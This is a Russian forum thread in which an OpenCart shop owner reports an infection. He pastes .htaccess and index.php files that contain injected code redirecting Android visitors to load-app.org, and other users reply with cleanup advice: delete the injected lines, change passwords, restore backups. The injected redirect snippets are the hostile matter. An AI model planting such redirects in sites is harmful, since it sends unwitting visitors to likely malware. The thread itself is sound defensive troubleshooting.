Jump to content

Recommended Posts

Сайт заражен вирусом. Недавно заметил. Хотел перезалить полностью сайт, не получилось. Чот делать? Кто сможет помочь?

Сайт: mi nu tа sh op . r u

Edited by sasha123S

Share this post


Link to post
Share on other sites

<p>Это .htaccess<br />

RewriteEngine on<br />

RewriteCond %{HTTP_USER_AGENT} "Android" [NC]<br />

RewriteRule ^(.*)$ <a class="bbc_url" href="">http://load-app.org/m/?mobile_version=CleanRu</a> [L,R=302]<br />

<br />

<br />

<br />

Options +FollowSymlinks<br />

Options -Indexes<br />

<br />

Order deny,allow<br />

Deny from all<br />

<br />

<br />

RewriteEngine On<br />

RewriteBase /<br />

RewriteRule ^sitemap.xml$ index.php?route=feed/google_sitemap [L]<br />

RewriteRule ^googlebase.xml$ index.php?route=feed/google_base [L]<br />

RewriteCond %{REQUEST_FILENAME} !-f<br />

RewriteCond %{REQUEST_FILENAME} !-d<br />

RewriteCond %{REQUEST_URI} !.*\.(ico|gif|jpg|jpeg|png|js|css)<br />

RewriteRule ^([^?]*) index.php?_route_=$1 [L,QSA]<br />

<br />

# Редирект c www на без www<br />

RewriteCond %{HTTP_HOST} ^www.minuta-shop.ru<br />

RewriteRule ^(.*)$ http ://m inu ta-sh op .ru /$1 [R=301,L]<br />

# Редирект для главной (с /index.php на /)<br />

RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /index\ HTTP/<br />

RewriteRule ^index\.html$ / [R=301,L]<br />

RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /index\.php\ HTTP/<br />

RewriteRule ^index\.php$ / [R=301,L]

</p>

Share this post


Link to post
Share on other sites

Это index.php

$ua = $_SERVER['HTTP_USER_AGENT'];

if(stripos("***$ua",'android') !== false){
header("Location: http://load-app.org/m/?mobile_version=CleanRu");
die();
}
?>

// Version
define('VERSION', '1.5.4.1');

error_reporting( E_ERROR );



// Configuration
require_once('config.php');

// Install
if (!defined('DIR_APPLICATION')) {
header('Location: install/index.php');
exit;
}

// VirtualQMOD
require_once('./vqmod/vqmod.php');
$vqmod = new VQMod();

// VQMODDED Startup
require_once($vqmod->modCheck(DIR_SYSTEM . 'startup.php'));

// Application Classes
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/customer.php'));
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/affiliate.php'));
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/currency.php'));
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/tax.php'));
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/weight.php'));
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/length.php'));
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/cart.php'));

// Registry
$registry = new Registry();

// Loader
$loader = new Loader($registry);
$registry->set('load', $loader);

// Config
$config = new Config();
$registry->set('config', $config);

// Database
$db = new DB(DB_DRIVER, DB_HOSTNAME, DB_USERNAME, DB_PASSWORD, DB_DATABASE);
$registry->set('db', $db);

// Store
if (isset($_SERVER['HTTPS']) && (($_SERVER['HTTPS'] == 'on') || ($_SERVER['HTTPS'] == '1'))) {
$store_query = $db->query("SELECT * FROM " . DB_PREFIX . "store WHERE REPLACE(`ssl`, 'www.', '') = '" . $db->escape('https://' . str_replace('www.', '', $_SERVER['HTTP_HOST']) . rtrim(dirname($_SERVER['PHP_SELF']), '/.\\') . '/') . "'");
} else {
$store_query = $db->query("SELECT * FROM " . DB_PREFIX . "store WHERE REPLACE(`url`, 'www.', '') = '" . $db->escape('http://' . str_replace('www.', '', $_SERVER['HTTP_HOST']) . rtrim(dirname($_SERVER['PHP_SELF']), '/.\\') . '/') . "'");
}


if ($store_query->num_rows) {
$config->set('config_store_id', $store_query->row['store_id']);
} else {
$config->set('config_store_id', 0);
}

// Settings
$query = $db->query("SELECT * FROM " . DB_PREFIX . "setting WHERE store_id = '0' OR store_id = '" . (int)$config->get('config_store_id') . "' ORDER BY store_id ASC");

foreach ($query->rows as $setting) {
if (!$setting['serialized']) {
$config->set($setting['key'], $setting['value']);
} else {
$config->set($setting['key'], unserialize($setting['value']));
}
}

if (!$store_query->num_rows) {
$config->set('config_url', HTTP_SERVER);
$config->set('config_ssl', HTTPS_SERVER);
}

// Url
$url = new Url($config->get('config_url'), $config->get('config_use_ssl') ? $config->get('config_ssl') : $config->get('config_url'));
$registry->set('url', $url);

// Log
$log = new Log($config->get('config_error_filename'));
$registry->set('log', $log);

function error_handler($errno, $errstr, $errfile, $errline) {
global $log, $config;

switch ($errno) {
case E_NOTICE:
case E_USER_NOTICE:
$error = 'Notice';
break;
case E_WARNING:
case E_USER_WARNING:
$error = 'Warning';
break;
case E_ERROR:
case E_USER_ERROR:
$error = 'Fatal Error';
break;
default:
$error = 'Unknown';
break;
}

if ($config->get('config_error_display')) {
echo '' . $error . ': ' . $errstr . ' in ' . $errfile . ' on line ' . $errline . '';
}

if ($config->get('config_error_log')) {
$log->write('PHP ' . $error . ': ' . $errstr . ' in ' . $errfile . ' on line ' . $errline);
}

return true;
}

// Error Handler
set_error_handler('error_handler');

// Request
$request = new Request();
$registry->set('request', $request);

// Response
$response = new Response();
$response->addHeader('Content-Type: text/html; charset=utf-8');
$response->setCompression($config->get('config_compression'));
$registry->set('response', $response);

// Cache
$cache = new Cache();
$registry->set('cache', $cache);

// Session
$session = new Session();
$registry->set('session', $session);

// Language Detection
$languages = array();

$query = $db->query("SELECT * FROM " . DB_PREFIX . "language WHERE status = '1'");

foreach ($query->rows as $result) {
$languages[$result['code']] = $result;
}

$detect = '';

if (isset($request->server['HTTP_ACCEPT_LANGUAGE']) && ($request->server['HTTP_ACCEPT_LANGUAGE'])) {
$browser_languages = explode(',', $request->server['HTTP_ACCEPT_LANGUAGE']);

foreach ($browser_languages as $browser_language) {
foreach ($languages as $key => $value) {
if ($value['status']) {
$locale = explode(',', $value['locale']);

if (in_array($browser_language, $locale)) {
$detect = $key;
}
}
}
}
}

if (isset($session->data['language']) && array_key_exists($session->data['language'], $languages) && $languages[$session->data['language']]['status']) {
$code = $session->data['language'];
} elseif (isset($request->cookie['language']) && array_key_exists($request->cookie['language'], $languages) && $languages[$request->cookie['language']]['status']) {
$code = $request->cookie['language'];
} elseif ($detect) {
$code = $detect;
} else {
$code = $config->get('config_language');
}

if (!isset($session->data['language']) || $session->data['language'] != $code) {
$session->data['language'] = $code;
}

if (!isset($request->cookie['language']) || $request->cookie['language'] != $code) {
setcookie('language', $code, time() + 60 * 60 * 24 * 30, '/', $request->server['HTTP_HOST']);
}

$config->set('config_language_id', $languages[$code]['language_id']);
$config->set('config_language', $languages[$code]['code']);

// Language
$language = new Language($languages[$code]['directory']);
$language->load($languages[$code]['filename']);
$registry->set('language', $language);

// Document
$registry->set('document', new Document());

// Customer
$registry->set('customer', new Customer($registry));

// Affiliate
$registry->set('affiliate', new Affiliate($registry));

if (isset($request->get['tracking']) && !isset($request->cookie['tracking'])) {
setcookie('tracking', $request->get['tracking'], time() + 3600 * 24 * 1000, '/');
}

// Currency
$registry->set('currency', new Currency($registry));

// Tax
$registry->set('tax', new Tax($registry));

// Weight
$registry->set('weight', new Weight($registry));

// Length
$registry->set('length', new Length($registry));

// Cart
$registry->set('cart', new Cart($registry));

// Encryption
$registry->set('encryption', new Encryption($config->get('config_encryption')));

// Front Controller
$controller = new Front($registry);

// Maintenance Mode
$controller->addPreAction(new Action('common/maintenance'));

// SEO URL's
if (!$seo_type = $config->get('config_seo_url_type')) {
$seo_type = 'seo_url';
}
$controller->addPreAction(new Action('common/' . $seo_type));

// Router
if (isset($request->get['route'])) {
$action = new Action($request->get['route']);
} else {
$action = new Action('common/home');
}

// Dispatch
$controller->dispatch($action, new Action('error/not_found'));

// Output
$response->output();
?>

Share this post


Link to post
Share on other sites

В .htaccess перед Options +FollowSymlinks удалить весь код

В index.php удалить код до // Version

 

и читайте здесь

Share this post


Link to post
Share on other sites

В .htaccess перед Options +FollowSymlinks удалить весь код

В index.php удалить код до // Version

 

и читайте здесь

Уже делал, все равно файлы эти добавляются. Сам не программист, сложно по логам сайта и FTP найти первоисточник. Может возьметесь помочь устранить эту проблему?

Share this post


Link to post
Share on other sites

Меняйте пароли на ftp, админку опенкарта и БД. В панели управления сайтом выставите в настройках по FTP доплнительное ограничение по своему/своим ip

 

После всех изменений паролей восстанавливайте сайт из бэкапа, если такая услуга есть у вашего хостера.

Либо через Total Commander сравнивайте файлы с сервера со своим бэкапом (он ведь есть, да? :ugeek: ) и все файлы с изменениями на сервере заменяйте файлами из бэкапа.

 

По логам FTP найти источник не сложно - открываете лог и смотрите на ip, отличные от вашего. Как найдете - смотрите что делалось под этими ip с папками/файлами

Share this post


Link to post
Share on other sites

Меняйте пароли на ftp, админку опенкарта и БД. В панели управления сайтом выставите в настройках по FTP доплнительное ограничение по своему/своим ip

 

После всех изменений паролей восстанавливайте сайт из бэкапа, если такая услуга есть у вашего хостера.

Либо через Total Commander сравнивайте файлы с сервера со своим бэкапом (он ведь есть, да? :ugeek: ) и все файлы с изменениями на сервере заменяйте файлами из бэкапа.

 

По логам FTP найти источник не сложно - открываете лог и смотрите на ip, отличные от вашего. Как найдете - смотрите что делалось под этими ip с папками/файлами

Уже старался этим заниматься. Но ничего не получается. 

Пароли все поменял. Из backup восстановил сайт, но вирус все равно сидит на сайте. Видимо внедрили его раньше, чем был сделан последний backup. Нужен профессионал. Самому не получается решить проблему

Share this post


Link to post
Share on other sites

Если хостинг нормальный - у них как правило не один бэкап хранится, пробуйте более раннюю версию восстановить.

Либо непосредственно хостеру объясните проблему, попросите помочь с чисткой/восстановлением.

Share this post


Link to post
Share on other sites

Если хостинг нормальный - у них как правило не один бэкап хранится, пробуйте более раннюю версию восстановить.

Либо непосредственно хостеру объясните проблему, попросите помочь с чисткой/восстановлением.

Хостер ответил, что у них нет других backup ов. Хостер ответил, что он таким делом не занимается. Нужно искать специалиста на стороне

Share this post


Link to post
Share on other sites
 Хотел перезалить полностью сайт, не получилось.

 

еще бы, при  таком количестве полезных и бесполезных модулей, активно конфликтующих между собой,

сам долго дрюкался пока дамп поставил

 

sasha123S

а ко мне за бэкапом религия не позволяет обратиться?

Share this post


Link to post
Share on other sites

Скорее всего вирус в /system/library/response.php

 

Замените на оригинал

Share this post


Link to post
Share on other sites

еще бы, при  таком количестве полезных и бесполезных модулей, активно конфликтующих между собой,

сам долго дрюкался пока дамп поставил

 

sasha123S

а ко мне за бэкапом религия не позволяет обратиться?

 

Вирус был не в /system/library/response.php Pascha, спасибо за помощь. Написал, что пришлось вручную чистить и искать причину заражения. 

Share this post


Link to post
Share on other sites

Хостер ответил, что у них нет других backup ов. Хостер ответил, что он таким делом не занимается. Нужно искать специалиста на стороне

Добрый хостер какой то, если так наплевательски относится как к клиентам, так и к своей репутации, ведь зараженные сайты в его ведомстве ему кармы не прибавят... Меняйте по возможности. И желательно со встроенным антивирусом каким нибудь в админ-панели.

 

И поищите дыры на сайте, устранив следствие, Вы не устранили причину. Очень быстро эта зараза может появиться вновь.

 

P.S. И да, эталонные копии и бэкапы рулят ;)

Share this post


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
You are posting as a guest. If you have an account, please sign in.
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Sign in to follow this  

  • Similar Content

    • By empty
      Добрый день.
       
      Перенес сайт на хостинг клиента, хостинг Hetcer, сайт https://confento.com, шаблон стандартный, и через некоторое время он оказался зараженным.
      Через ai-bolit прогнал, удалил все зараженные файлы, скрипты, заново рекурсивно в ISP панели выставил 755 на папки и 644 на файлы.
      Починил.
      Проходит дня 3-4 - ситуация повторилась вновь.
      .htaccess права с 644 сменил на 444, куча индексных файлов, index.html.bak.bak, в index.php ссылка на хедер вордпресса (оО), в айболите 8 заражений, куча каких то левых .php файлов.
      Все удалил, полазил по папкам, нашел кучу файлов левых, тоже удалил, снова права поправил.
      Но чувствую что в какой то момент снова может оказаться такая беда.
      Вот установленные дополнения - http://joxi.ru/4AkQEbOIydqozm - может кто в курсе, что с какого-то из них лезет вирусня.
       
      Подскажите пожалуйста, каким образом можно выявить, где уязвимость? Как узнать откуда лезет весь этот мусор?
      Так же - как можно защитить сайт от вирусных атак?
       
      Спасибо!
    • By Kapitoxaxa
      Ребята подскажите пожалуйста как это победить. Присутствует такая табличка только когда захожу на сайт через оперу.

    • By wolfxxx
      Ребята привет, подскажите плииз,
      В общем на хостинге стояла 3 сайта, на 2-их был установлен шаблон с вирусом.
      в итоге их стер.
      Начал проверять 3-ий и выскочила вот такая фигня, кто разбирается подскажите плиииз есть вирус или нет.
       
      Путь Изменение содержимого Размер blABLA/public_html/catalog/model/tool/image.php [x] 1…$height){$image=new Image(DIR_IMAGE.$image_old);$image->resize($width,$height);$image->save(DIR_IMAGE.$image_new);}else{ copy(DIR_IMAGE.$image_old,DIR_IMAGE.$image_new);}}$imagepath_parts=explode('/',$image_new);$new_image=implode('/',array 05/04/2018 20:48:23 1.77 Kb /blABLA/public_html/admin/model/tool/image.php [x] 1…$height){$image=new Image(DIR_IMAGE.$image_old);$image->resize($width,$height);$image->save(DIR_IMAGE.$image_new);}else{ copy(DIR_IMAGE.$image_old,DIR_IMAGE.$image_new);}}$imagepath_parts=explode('/',$image_new);$new_image=implode('/',array 05/04/2018 20:48:19 1.73 Kb blABLA.ru/public_html/catalog/controller/extension/payment/qiwi_rest.php [x] 1…);curl_setopt($ch,CURLOPT_USERPWD,$this->config->get('qiwi_rest_id').":".$this->config->get('qiwi_rest_password'));curl_ setopt($ch,CURLOPT_POSTFIELDS,http_build_query($data));curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);curl_setopt($ch,CUR  

    • By alldell
      Добрый вечер! Кто сталкивался помогите) Взломали сайты, пока заметил на двух оба на opencart, всего Пять на хостинге. Три на opencart два на wordpress. Недавно установил новый сайт
      на OcStore скачивал с форума, шаблон с оф сайта разработчика TechStore. Суть проблемы, когда заходишь на сайт с телефона вылезает на новостной баннер и ведёт по ссылке на Риа новости) И эта зараза переодически пропадает и появляется снова. Кто знает как это лечить? Может кто с этим сталкивался )
    • By kolek5520
      Добрый день всем.
      Гонял сайт через  сервис http://www.webpagetest.org
       
      и заметил, среди запросов, странные ведущие на ALIEXPRESS  И com-sale.ru
      https://yadi.sk/i/Nhiz-49D3QpYV5
       
  • Recently Browsing   0 members

    No registered users viewing this page.

×

Important Information

On our site, cookies are used and personal data is processed to improve the user interface. To find out what and what personal data we are processing, please go to the link. If you click "I agree," it means that you understand and accept all the conditions specified in this Privacy Notice.